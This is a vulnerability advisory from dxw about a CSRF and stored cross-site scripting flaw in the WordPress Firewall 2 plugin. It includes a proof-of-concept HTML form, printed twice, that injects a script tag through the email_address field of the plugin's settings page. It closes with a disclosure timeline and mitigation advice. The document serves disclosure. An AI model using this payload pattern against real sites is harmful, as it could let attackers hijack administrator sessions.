CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.
Visit the following page, click on the submit button, then visit the plugin’s options page:
<form method=\"POST\"
action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";>
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
<input type=\"text\" name=\"set_email\" value=\"Set Email\">
<input type=\"submit\">
</form>
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.
Disable the plugin until a new version is released that fixes this bug.
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:
https://security.dxw.com/disclosure/
Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example, plugins () wordpress org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted
Tom Adams Please visit security.dxw.com for more information.
<form method=\"POST\"
action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";>
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
<input type=\"text\" name=\"set_email\" value=\"Set Email\">
<input type=\"submit\">
</form>